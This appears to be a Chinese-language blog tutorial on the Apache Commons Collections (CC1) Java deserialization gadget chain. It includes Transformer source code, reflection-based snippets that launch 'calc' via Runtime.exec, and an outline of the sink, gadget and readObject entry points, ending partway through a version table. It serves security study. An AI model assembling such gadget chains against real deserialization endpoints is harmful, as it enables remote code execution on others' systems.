CC链


一、漏洞原理

1.transform

org/apache/commons/collections/functors/InvokerTransformer#transform中存在一段利用反射技术执行任意代码的代码,这就是CC链的核心,我们后续利用CC链攻击的时候实际上就是想方设法构造链条让程序去执行这个transform方法,给它传入一个恶意类,它就可以通过它本身其中的反射技术去执行这个恶意类。例如,传入的是Runtime对象时,就可以执行任意系统命令。

2. InvokerTransformer

InvokerTransformer需要三个参数,分别是方法名,参数类型,参数。

InvokerTransformertransform方法是通过反射去执行InvokerTransformer传入的方法和参数。

源码如下:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }


public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                InvocationTargetException ex = var6;
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
            }
        }
    }

RCE例子

import org.apache.commons.collections.functors.InvokerTransformer;

public class Main {
    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(Runtime.getRuntime());
        System.out.println("Hello world!");
    }
}

执行结果:RCE执行

image-20250402135328861

3.ChainedTransformer

ChainedTranformer需要一个参数,就是transformers,它是一个可以存放多个transformer的数组

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

ChainedTransformertransform方法接收的参数是一个object类,它去遍历ChainedTransformer接收的transformers数组中的每一个transformertransform方法,并将传入的object作为transform的参数去执行。

简而言之,ChainedTranformer可以存放多个transformer,它的transform可以执行多个的transformertransform。它俩就像别的transformertransform的执行数组一样。

还有一个非常重要的点:每次循环获得的object会当做参数传给下一个transform(),也就是数组中的transformer是有前后联系的,不是单独的。

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

RCE实例

public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"} ),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Runtime runtime = Runtime.getRuntime();
        //ChainedTransformer.transform会把runtime作为InvokerTransformer.transform的参数去执行
        chainedTransformer.transform(runtime);
    }

执行结果

image-20250402144644736

4.ConstantTransformer

它比较简单,ConstantTransformer接收的参数是一个object对象,它的transform就是直接将这个类返回,虽然它也会接收一个object,但是无论这个object类型的input是什么对象,它都只会返回ConstantTransformer接收的那个object

源码如下:

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

示例代码:

public static void main(String[] args) {
        ConstantTransformer constantTransformer = new ConstantTransformer("Runtime");
        Object runtime = constantTransformer.transform(null);
        System.out.println(runtime);
    }

执行结果如下:可以看到直接返回了Runtime对象。

image-20250402152737170

5.总结

ConstantTransformer就是用来获取类对象的。

InvokerTransformer就是用来执行方法的。

ChainedTransformer就是用来链式执行多个transformer.transform的。

6.综合利用

利用ConstantTransformer获取Runtime类对象,然后利用ChainedTransformer链式执行包含InvokerTransformer的多个transformer.transform,最终通过反射机制达到RCE的目的。

源码如下:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),  //获得Runtime类
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime",new Class[0]} ),   //获得getRuntime
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null,new Object[0]}),  //getRuntime.invoke(Runtime)
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})         //getRuntime.exec("calc")
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(null);
    }

执行结果:

这里在写代码时遇到个小坑,就是在给InvokerTransformer传入参数时,第二个参数(参数类型)和第三个参数(参数内容),要与第一个参数(方法名)的所需参数个数相匹配,不能省略,要写全了,不然无法执行。

image-20250402162958195

二、漏洞触发

有了能够执行任意代码的利用点,还需要一个反序列化的触发点,也就是调用某个类的readObject方法。当某个类的readObject方法可以通过一定的代码逻辑到达漏洞的利用点时,就可以利用它进行漏洞的触发。

1.sink执行点

作用:触发RCE执行

CC链主要的触发点就是下面三个类的transform方法

ChainedTransformer#transform()
ConstantTransformer#transform()
InvokerTransformer#transform()

2.寻找gadget调用链

作用:调用链实现承上启下

一直寻找到被readObject调用的函数为止

TransfotmedMap#checkSetValue
MapEntry#setValue

3.寻找Source入口点

作用:入口点重写方法调用

AnnotationInvocationHandler#readObject()#setValue
ObjectInputStream#readObject()

三、CC链分别所需的条件

链子              CC版本                                     JDK版本
CC1        Apache Commons Collections 3.2.1             JDK 8u71之前的版本
InvokerTransformer.transform-->TransformedMap.checkSetValue-->

文章作者: 0x00dream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0x00dream !
  目录